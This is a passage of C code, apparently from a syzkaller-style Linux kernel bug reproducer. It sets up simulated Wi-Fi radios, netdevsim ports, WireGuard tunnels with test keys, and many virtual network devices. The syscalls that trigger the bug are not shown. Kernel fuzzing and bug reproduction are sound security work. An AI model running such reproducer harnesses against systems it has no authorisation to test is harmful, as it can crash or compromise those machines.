for (; (char*)attr < nlmsg.buf + offset + len;
attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) {
if (attr->nla_type == DEVLINK_ATTR_NETDEV_NAME) {
char* port_name;
char netdev_name[IFNAMSIZ];
port_name = (char*)(attr + 1);
snprintf(netdev_name, sizeof(netdev_name), "%s%d", netdev_prefix,
netdev_index);
netlink_device_change(&nlmsg2, rtsock, port_name, true, 0, 0, 0,
netdev_name);
break;
}
}
offset += len;
netdev_index++;
}
error:
close(rtsock);
close(sock);
}
#define WIFI_INITIAL_DEVICE_COUNT 2
#define WIFI_MAC_BASE \
{ \
0x08, 0x02, 0x11, 0x00, 0x00, 0x00 \
}
#define WIFI_IBSS_BSSID \
{ \
0x50, 0x50, 0x50, 0x50, 0x50, 0x50 \
}
#define WIFI_IBSS_SSID \
{ \
0x10, 0x10, 0x10, 0x10, 0x10, 0x10 \
}
#define WIFI_DEFAULT_FREQUENCY 2412
#define WIFI_DEFAULT_SIGNAL 0
#define WIFI_DEFAULT_RX_RATE 1
#define HWSIM_CMD_REGISTER 1
#define HWSIM_CMD_FRAME 2
#define HWSIM_CMD_NEW_RADIO 4
#define HWSIM_ATTR_SUPPORT_P2P_DEVICE 14
#define HWSIM_ATTR_PERM_ADDR 22
#define IF_OPER_UP 6
struct join_ibss_props {
int wiphy_freq;
bool wiphy_freq_fixed;
uint8_t* mac;
uint8_t* ssid;
int ssid_len;
};
static int set_interface_state(const char* interface_name, int on)
{
struct ifreq ifr;
int sock = socket(AF_INET, SOCK_DGRAM, 0);
if (sock < 0) {
return -1;
}
memset(&ifr, 0, sizeof(ifr));
strcpy(ifr.ifr_name, interface_name);
int ret = ioctl(sock, SIOCGIFFLAGS, &ifr);
if (ret < 0) {
close(sock);
return -1;
}
if (on)
ifr.ifr_flags |= IFF_UP;
else
ifr.ifr_flags &= ~IFF_UP;
ret = ioctl(sock, SIOCSIFFLAGS, &ifr);
close(sock);
if (ret < 0) {
return -1;
}
return 0;
}
static int nl80211_set_interface(struct nlmsg* nlmsg, int sock,
int nl80211_family, uint32_t ifindex,
uint32_t iftype, bool dofail)
{
struct genlmsghdr genlhdr;
memset(&genlhdr, 0, sizeof(genlhdr));
genlhdr.cmd = NL80211_CMD_SET_INTERFACE;
netlink_init(nlmsg, nl80211_family, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(nlmsg, NL80211_ATTR_IFINDEX, &ifindex, sizeof(ifindex));
netlink_attr(nlmsg, NL80211_ATTR_IFTYPE, &iftype, sizeof(iftype));
int err = netlink_send_ext(nlmsg, sock, 0, NULL, dofail);
if (err < 0) {
}
return err;
}
static int nl80211_join_ibss(struct nlmsg* nlmsg, int sock, int nl80211_family,
uint32_t ifindex, struct join_ibss_props* props,
bool dofail)
{
struct genlmsghdr genlhdr;
memset(&genlhdr, 0, sizeof(genlhdr));
genlhdr.cmd = NL80211_CMD_JOIN_IBSS;
netlink_init(nlmsg, nl80211_family, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(nlmsg, NL80211_ATTR_IFINDEX, &ifindex, sizeof(ifindex));
netlink_attr(nlmsg, NL80211_ATTR_SSID, props->ssid, props->ssid_len);
netlink_attr(nlmsg, NL80211_ATTR_WIPHY_FREQ, &(props->wiphy_freq),
sizeof(props->wiphy_freq));
if (props->mac)
netlink_attr(nlmsg, NL80211_ATTR_MAC, props->mac, ETH_ALEN);
if (props->wiphy_freq_fixed)
netlink_attr(nlmsg, NL80211_ATTR_FREQ_FIXED, NULL, 0);
int err = netlink_send_ext(nlmsg, sock, 0, NULL, dofail);
if (err < 0) {
}
return err;
}
static int get_ifla_operstate(struct nlmsg* nlmsg, int ifindex, bool dofail)
{
struct ifinfomsg info;
memset(&info, 0, sizeof(info));
info.ifi_family = AF_UNSPEC;
info.ifi_index = ifindex;
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (sock == -1) {
return -1;
}
netlink_init(nlmsg, RTM_GETLINK, 0, &info, sizeof(info));
int n;
int err = netlink_send_ext(nlmsg, sock, RTM_NEWLINK, &n, dofail);
close(sock);
if (err) {
return -1;
}
struct rtattr* attr = IFLA_RTA(NLMSG_DATA(nlmsg->buf));
for (; RTA_OK(attr, n); attr = RTA_NEXT(attr, n)) {
if (attr->rta_type == IFLA_OPERSTATE)
return *((int32_t*)RTA_DATA(attr));
}
return -1;
}
static int await_ifla_operstate(struct nlmsg* nlmsg, char* interface,
int operstate, bool dofail)
{
int ifindex = if_nametoindex(interface);
while (true) {
usleep(1000);
int ret = get_ifla_operstate(nlmsg, ifindex, dofail);
if (ret < 0)
return ret;
if (ret == operstate)
return 0;
}
return 0;
}
static int nl80211_setup_ibss_interface(struct nlmsg* nlmsg, int sock,
int nl80211_family_id, char* interface,
struct join_ibss_props* ibss_props,
bool dofail)
{
int ifindex = if_nametoindex(interface);
if (ifindex == 0) {
return -1;
}
int ret = nl80211_set_interface(nlmsg, sock, nl80211_family_id, ifindex,
NL80211_IFTYPE_ADHOC, dofail);
if (ret < 0) {
return -1;
}
ret = set_interface_state(interface, 1);
if (ret < 0) {
return -1;
}
ret = nl80211_join_ibss(nlmsg, sock, nl80211_family_id, ifindex, ibss_props,
dofail);
if (ret < 0) {
return -1;
}
return 0;
}
static int hwsim80211_create_device(struct nlmsg* nlmsg, int sock,
int hwsim_family,
uint8_t mac_addr[ETH_ALEN])
{
struct genlmsghdr genlhdr;
memset(&genlhdr, 0, sizeof(genlhdr));
genlhdr.cmd = HWSIM_CMD_NEW_RADIO;
netlink_init(nlmsg, hwsim_family, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(nlmsg, HWSIM_ATTR_SUPPORT_P2P_DEVICE, NULL, 0);
netlink_attr(nlmsg, HWSIM_ATTR_PERM_ADDR, mac_addr, ETH_ALEN);
int err = netlink_send(nlmsg, sock);
if (err < 0) {
}
return err;
}
static void initialize_wifi_devices(void)
{
int rfkill = open("/dev/rfkill", O_RDWR);
if (rfkill == -1)
exit(1);
struct rfkill_event event = {0};
event.type = RFKILL_TYPE_ALL;
event.op = RFKILL_OP_CHANGE_ALL;
if (write(rfkill, &event, sizeof(event)) != (ssize_t)(sizeof(event)))
exit(1);
close(rfkill);
uint8_t mac_addr[6] = WIFI_MAC_BASE;
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (sock < 0)
exit(1);
int hwsim_family_id =
netlink_query_family_id(&nlmsg, sock, "MAC80211_HWSIM", true);
int nl80211_family_id =
netlink_query_family_id(&nlmsg, sock, "nl80211", true);
uint8_t ssid[] = WIFI_IBSS_SSID;
uint8_t bssid[] = WIFI_IBSS_BSSID;
struct join_ibss_props ibss_props = {.wiphy_freq = WIFI_DEFAULT_FREQUENCY,
.wiphy_freq_fixed = true,
.mac = bssid,
.ssid = ssid,
.ssid_len = sizeof(ssid)};
for (int device_id = 0; device_id < WIFI_INITIAL_DEVICE_COUNT; device_id++) {
mac_addr[5] = device_id;
int ret = hwsim80211_create_device(&nlmsg, sock, hwsim_family_id, mac_addr);
if (ret < 0)
exit(1);
char interface[6] = "wlan0";
interface[4] += device_id;
if (nl80211_setup_ibss_interface(&nlmsg, sock, nl80211_family_id, interface,
&ibss_props, true) < 0)
exit(1);
}
for (int device_id = 0; device_id < WIFI_INITIAL_DEVICE_COUNT; device_id++) {
char interface[6] = "wlan0";
interface[4] += device_id;
int ret = await_ifla_operstate(&nlmsg, interface, IF_OPER_UP, true);
if (ret < 0)
exit(1);
}
close(sock);
}
static int runcmdline(char* cmdline)
{
int ret = system(cmdline);
if (ret) {
}
return ret;
}
#define DEV_IPV4 "172.20.20.%d"
#define DEV_IPV6 "fe80::%02x"
#define DEV_MAC 0x00aaaaaaaaaa
static void netdevsim_add(unsigned int addr, unsigned int port_count)
{
write_file("/sys/bus/netdevsim/del_device", "%u", addr);
if (write_file("/sys/bus/netdevsim/new_device", "%u %u", addr, port_count)) {
char buf[32];
snprintf(buf, sizeof(buf), "netdevsim%d", addr);
initialize_devlink_ports("netdevsim", buf, "netdevsim");
}
}
#define WG_GENL_NAME "wireguard"
enum wg_cmd {
WG_CMD_GET_DEVICE,
WG_CMD_SET_DEVICE,
};
enum wgdevice_attribute {
WGDEVICE_A_UNSPEC,
WGDEVICE_A_IFINDEX,
WGDEVICE_A_IFNAME,
WGDEVICE_A_PRIVATE_KEY,
WGDEVICE_A_PUBLIC_KEY,
WGDEVICE_A_FLAGS,
WGDEVICE_A_LISTEN_PORT,
WGDEVICE_A_FWMARK,
WGDEVICE_A_PEERS,
};
enum wgpeer_attribute {
WGPEER_A_UNSPEC,
WGPEER_A_PUBLIC_KEY,
WGPEER_A_PRESHARED_KEY,
WGPEER_A_FLAGS,
WGPEER_A_ENDPOINT,
WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
WGPEER_A_LAST_HANDSHAKE_TIME,
WGPEER_A_RX_BYTES,
WGPEER_A_TX_BYTES,
WGPEER_A_ALLOWEDIPS,
WGPEER_A_PROTOCOL_VERSION,
};
enum wgallowedip_attribute {
WGALLOWEDIP_A_UNSPEC,
WGALLOWEDIP_A_FAMILY,
WGALLOWEDIP_A_IPADDR,
WGALLOWEDIP_A_CIDR_MASK,
};
static void netlink_wireguard_setup(void)
{
const char ifname_a[] = "wg0";
const char ifname_b[] = "wg1";
const char ifname_c[] = "wg2";
const char private_a[] =
"\xa0\x5c\xa8\x4f\x6c\x9c\x8e\x38\x53\xe2\xfd\x7a\x70\xae\x0f\xb2\x0f\xa1"
"\x52\x60\x0c\xb0\x08\x45\x17\x4f\x08\x07\x6f\x8d\x78\x43";
const char private_b[] =
"\xb0\x80\x73\xe8\xd4\x4e\x91\xe3\xda\x92\x2c\x22\x43\x82\x44\xbb\x88\x5c"
"\x69\xe2\x69\xc8\xe9\xd8\x35\xb1\x14\x29\x3a\x4d\xdc\x6e";
const char private_c[] =
"\xa0\xcb\x87\x9a\x47\xf5\xbc\x64\x4c\x0e\x69\x3f\xa6\xd0\x31\xc7\x4a\x15"
"\x53\xb6\xe9\x01\xb9\xff\x2f\x51\x8c\x78\x04\x2f\xb5\x42";
const char public_a[] =
"\x97\x5c\x9d\x81\xc9\x83\xc8\x20\x9e\xe7\x81\x25\x4b\x89\x9f\x8e\xd9\x25"
"\xae\x9f\x09\x23\xc2\x3c\x62\xf5\x3c\x57\xcd\xbf\x69\x1c";
const char public_b[] =
"\xd1\x73\x28\x99\xf6\x11\xcd\x89\x94\x03\x4d\x7f\x41\x3d\xc9\x57\x63\x0e"
"\x54\x93\xc2\x85\xac\xa4\x00\x65\xcb\x63\x11\xbe\x69\x6b";
const char public_c[] =
"\xf4\x4d\xa3\x67\xa8\x8e\xe6\x56\x4f\x02\x02\x11\x45\x67\x27\x08\x2f\x5c"
"\xeb\xee\x8b\x1b\xf5\xeb\x73\x37\x34\x1b\x45\x9b\x39\x22";
const uint16_t listen_a = 20001;
const uint16_t listen_b = 20002;
const uint16_t listen_c = 20003;
const uint16_t af_inet = AF_INET;
const uint16_t af_inet6 = AF_INET6;
const struct sockaddr_in endpoint_b_v4 = {
.sin_family = AF_INET,
.sin_port = htons(listen_b),
.sin_addr = {htonl(INADDR_LOOPBACK)}};
const struct sockaddr_in endpoint_c_v4 = {
.sin_family = AF_INET,
.sin_port = htons(listen_c),
.sin_addr = {htonl(INADDR_LOOPBACK)}};
struct sockaddr_in6 endpoint_a_v6 = {.sin6_family = AF_INET6,
.sin6_port = htons(listen_a)};
endpoint_a_v6.sin6_addr = in6addr_loopback;
struct sockaddr_in6 endpoint_c_v6 = {.sin6_family = AF_INET6,
.sin6_port = htons(listen_c)};
endpoint_c_v6.sin6_addr = in6addr_loopback;
const struct in_addr first_half_v4 = {0};
const struct in_addr second_half_v4 = {(uint32_t)htonl(128 << 24)};
const struct in6_addr first_half_v6 = {{{0}}};
const struct in6_addr second_half_v6 = {{{0x80}}};
const uint8_t half_cidr = 1;
const uint16_t persistent_keepalives[] = {1, 3, 7, 9, 14, 19};
struct genlmsghdr genlhdr = {.cmd = WG_CMD_SET_DEVICE, .version = 1};
int sock;
int id, err;
sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (sock == -1) {
return;
}
id = netlink_query_family_id(&nlmsg, sock, WG_GENL_NAME, true);
if (id == -1)
goto error;
netlink_init(&nlmsg, id, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(&nlmsg, WGDEVICE_A_IFNAME, ifname_a, strlen(ifname_a) + 1);
netlink_attr(&nlmsg, WGDEVICE_A_PRIVATE_KEY, private_a, 32);
netlink_attr(&nlmsg, WGDEVICE_A_LISTEN_PORT, &listen_a, 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGDEVICE_A_PEERS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_b, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_b_v4,
sizeof(endpoint_b_v4));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[0], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v4,
sizeof(first_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v6,
sizeof(first_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_c, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_c_v6,
sizeof(endpoint_c_v6));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[1], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v4,
sizeof(second_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v6,
sizeof(second_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
err = netlink_send(&nlmsg, sock);
if (err < 0) {
}
netlink_init(&nlmsg, id, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(&nlmsg, WGDEVICE_A_IFNAME, ifname_b, strlen(ifname_b) + 1);
netlink_attr(&nlmsg, WGDEVICE_A_PRIVATE_KEY, private_b, 32);
netlink_attr(&nlmsg, WGDEVICE_A_LISTEN_PORT, &listen_b, 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGDEVICE_A_PEERS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_a, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_a_v6,
sizeof(endpoint_a_v6));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[2], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v4,
sizeof(first_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v6,
sizeof(first_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_c, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_c_v4,
sizeof(endpoint_c_v4));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[3], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v4,
sizeof(second_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v6,
sizeof(second_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
err = netlink_send(&nlmsg, sock);
if (err < 0) {
}
netlink_init(&nlmsg, id, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(&nlmsg, WGDEVICE_A_IFNAME, ifname_c, strlen(ifname_c) + 1);
netlink_attr(&nlmsg, WGDEVICE_A_PRIVATE_KEY, private_c, 32);
netlink_attr(&nlmsg, WGDEVICE_A_LISTEN_PORT, &listen_c, 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGDEVICE_A_PEERS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_a, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_a_v6,
sizeof(endpoint_a_v6));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[4], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v4,
sizeof(first_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v6,
sizeof(first_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_b, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_b_v4,
sizeof(endpoint_b_v4));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[5], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v4,
sizeof(second_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v6,
sizeof(second_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
err = netlink_send(&nlmsg, sock);
if (err < 0) {
}
error:
close(sock);
}
static void initialize_netdevices(void)
{
char netdevsim[16];
sprintf(netdevsim, "netdevsim%d", (int)procid);
struct {
const char* type;
const char* dev;
} devtypes[] = {
{"ip6gretap", "ip6gretap0"}, {"bridge", "bridge0"}, {"vcan", "vcan0"},
{"bond", "bond0"}, {"team", "team0"}, {"dummy", "dummy0"},
{"nlmon", "nlmon0"}, {"caif", "caif0"}, {"batadv", "batadv0"},
{"vxcan", "vxcan1"}, {"veth", 0}, {"wireguard", "wg0"},
{"wireguard", "wg1"}, {"wireguard", "wg2"},
};
const char* devmasters[] = {"bridge", "bond", "team", "batadv"};
struct {
const char* name;
int macsize;
bool noipv6;
} devices[] = {
{"lo", ETH_ALEN},
{"sit0", 0},
{"bridge0", ETH_ALEN},
{"vcan0", 0, true},
{"tunl0", 0},
{"gre0", 0},
{"gretap0", ETH_ALEN},
{"ip_vti0", 0},
{"ip6_vti0", 0},
{"ip6tnl0", 0},
{"ip6gre0", 0},
{"ip6gretap0", ETH_ALEN},
{"erspan0", ETH_ALEN},
{"bond0", ETH_ALEN},
{"veth0", ETH_ALEN},
{"veth1", ETH_ALEN},
{"team0", ETH_ALEN},
{"veth0_to_bridge", ETH_ALEN},
{"veth1_to_bridge", ETH_ALEN},
{"veth0_to_bond", ETH_ALEN},
{"veth1_to_bond", ETH_ALEN},
{"veth0_to_team", ETH_ALEN},
{"veth1_to_team", ETH_ALEN},
{"veth0_to_hsr", ETH_ALEN},
{"veth1_to_hsr", ETH_ALEN},
{"hsr0", 0},
{"dummy0", ETH_ALEN},
{"nlmon0", 0},
{"vxcan0", 0, true},
{"vxcan1", 0, true},
{"caif0", ETH_ALEN},
{"batadv0", ETH_ALEN},
{netdevsim, ETH_ALEN},
{"xfrm0", ETH_ALEN},
{"veth0_virt_wifi", ETH_ALEN},
{"veth1_virt_wifi", ETH_ALEN},
{"virt_wifi0", ETH_ALEN},
{"veth0_vlan", ETH_ALEN},
{"veth1_vlan", ETH_ALEN},
{"vlan0", ETH_ALEN},
{"vlan1", ETH_ALEN},
{"macvlan0", ETH_ALEN},
{"macvlan1", ETH_ALEN},
{"ipvlan0", ETH_ALEN},
{"ipvlan1", ETH_ALEN},
{"veth0_macvtap", ETH_ALEN},
{"veth1_macvtap", ETH_ALEN},
{"macvtap0", ETH_ALEN},
{"macsec0", ETH_ALEN},
{"veth0_to_batadv", ETH_ALEN},
{"veth1_to_batadv", ETH_ALEN},
{"batadv_slave_0", ETH_ALEN},
{"batadv_slave_1", ETH_ALEN},
{"geneve0", ETH_ALEN},
{"geneve1", ETH_ALEN},
{"wg0", 0},
{"wg1", 0},
{"wg2", 0},
};
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (sock == -1)
exit(1);
unsigned i;
for (i = 0; i < sizeof(devtypes) / sizeof(devtypes[0]); i++)
netlink_add_device(&nlmsg, sock, devtypes[i].type, devtypes[i].dev);
for (i = 0; i < sizeof(devmasters) / (sizeof(devmasters[0])); i++) {
char master[32], slave0[32], veth0[32], slave1[32], veth1[32];
sprintf(slave0, "%s_slave_0", devmasters[i]);
sprintf(veth0, "veth0_to_%s", devmasters[i]);
netlink_add_veth(&nlmsg, sock, slave0, veth0);
sprintf(slave1, "%s_slave_1", devmasters[i]);
sprintf(veth1, "veth1_to_%s", devmasters[i]);
netlink_add_veth(&nlmsg, sock, slave1, veth1);
sprintf(master, "%s0", devmasters[i]);
netlink_device_change(&nlmsg, sock, slave0, false, master, 0, 0, NULL);
netlink_device_change(&nlmsg, sock, slave1, false, master, 0, 0, NULL);
}
netlink_add_xfrm(&nlmsg, sock, "xfrm0");
netlink_device_change(&nlmsg, sock, "bridge_slave_0", true, 0, 0, 0, NULL);
netlink_device_change(&nlmsg, sock, "bridge_slave_1", true, 0, 0, 0, NULL);
netlink_add_veth(&nlmsg, sock, "hsr_slave_0", "veth0_to_hsr");
netlink_add_veth(&nlmsg, sock, "hsr_slave_1", "veth1_to_hsr");
netlink_add_hsr(&nlmsg, sock, "hsr0", "hsr_slave_0", "hsr_slave_1");
netlink_device_change(&nlmsg, sock, "hsr_slave_0", true, 0, 0, 0, NULL);
netlink_device_change(&nlmsg, sock, "hsr_slave_1", true, 0, 0, 0, NULL);
netlink_add_veth(&nlmsg, sock, "veth0_virt_wifi", "veth1_virt_wifi");
netlink_add_linked(&nlmsg, sock, "virt_wifi", "virt_wifi0",
"veth1_virt_wifi");
netlink_add_veth(&nlmsg, sock, "veth0_vlan", "veth1_vlan");
netlink_add_vlan(&nlmsg, sock, "vlan0", "veth0_vlan", 0, htons(ETH_P_8021Q));
netlink_add_vlan(&nlmsg, sock, "vlan1", "veth0_vlan", 1, htons(ETH_P_8021AD));
netlink_add_macvlan(&nlmsg, sock, "macvlan0", "veth1_vlan");
netlink_add_macvlan(&nlmsg, sock, "macvlan1", "veth1_vlan");
netlink_add_ipvlan(&nlmsg, sock, "ipvlan0", "veth0_vlan", IPVLAN_MODE_L2, 0);
netlink_add_ipvlan(&nlmsg, sock, "ipvlan1", "veth0_vlan", IPVLAN_MODE_L3S,
IPVLAN_F_VEPA);
netlink_add_veth(&nlmsg, sock, "veth0_macvtap", "veth1_macvtap");
netlink_add_linked(&nlmsg, sock, "macvtap", "macvtap0", "veth0_macvtap");
netlink_add_linked(&nlmsg, sock, "macsec", "macsec0", "veth1_macvtap");
char addr[32];
sprintf(addr, DEV_IPV4, 14 + 10);
struct in_addr geneve_addr4;
if (inet_pton(AF_INET, addr, &geneve_addr4) <= 0)
exit(1);
struct in6_addr geneve_addr6;
if (inet_pton(AF_INET6, "fc00::01", &geneve_addr6) <= 0)
exit(1);
netlink_add_geneve(&nlmsg, sock, "geneve0", 0, &geneve_addr4, 0);
netlink_add_geneve(&nlmsg, sock, "geneve1", 1, 0, &geneve_addr6);
netdevsim_add((int)procid, 4);
netlink_wireguard_setup();
for (i = 0; i < sizeof(devices) / (sizeof(devices[0])); i++) {
char addr[32];
sprintf(addr, DEV_IPV4, i + 10);
netlink_add_addr4(&nlmsg, sock, devices[i].name, addr);
if (!devices[i].noipv6) {
sprintf(addr, DEV_IPV6, i + 10);
netlink_add_addr6(&nlmsg, sock, devices[i].name, addr);
}
uint64_t macaddr = DEV_MAC + ((i + 10ull) << 40);
netlink_device_change(&nlmsg, sock, devices[i].name, true, 0, &macaddr,
devices[i].macsize, NULL);
}
close(sock);
}
static void initialize_netdevices_init(void)
{
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (sock == -1)
exit(1);
struct {
const char* type;
int macsize;
bool noipv6;
bool noup;
} devtypes[] = {
{"nr", 7, true},
{"rose", 5, true, true},
};
unsigned i;
for (i = 0; i < sizeof(devtypes) / sizeof(devtypes[0]); i++) {
char dev[32], addr[32];
sprintf(dev, "%s%d", devtypes[i].type, (int)procid);
sprintf(addr, "172.30.%d.%d", i, (int)procid + 1);
netlink_add_addr4(&nlmsg, sock, dev, addr);
if (!devtypes[i].noipv6) {
sprintf(addr, "fe88::%02x:%02x", i, (int)procid + 1);
netlink_add_addr6(&nlmsg, sock, dev, addr);
}
int macsize = devtypes[i].macsize;
uint64_t macaddr = 0xbbbbbb +
((unsigned long long)i << (8 * (macsize - 2))) +
(procid << (8 * (macsize - 1)));
netlink_device_change(&nlmsg, sock, dev, !devtypes[i].noup, 0, &macaddr,
macsize, NULL);
}
close(sock);
}
static int read_tun(char* data, int size)
{
if (tunfd < 0)
return -1;
int rv = read(tunfd, data, size);
if (rv < 0) {
if (errno == EAGAIN || errno == EBADF || errno == EBADFD)
return -1;
exit(1);
}
return rv;
}
static void flush_tun()
{
char data[1000];
while (read_tun(&data[0], sizeof(data)) != -1) {
}
}
#define MAX_FDS 30
#define BTPROTO_HCI 1
#define ACL_LINK 1
#define SCAN_PAGE 2
typedef struct {
uint8_t b[6];
} __attribute__((packed)) bdaddr_t;
#define HCI_COMMAND_PKT 1
#define HCI_EVENT_PKT 4
#define HCI_VENDOR_PKT 0xff
struct hci_command_hdr {
uint16_t opcode;
uint8_t plen;
} __attribute__((packed));
struct hci_event_hdr {
uint8_t evt;
uint8_t plen;
} __attribute__((packed));
#define HCI_EV_CONN_COMPLETE 0x03
struct hci_ev_conn_complete {
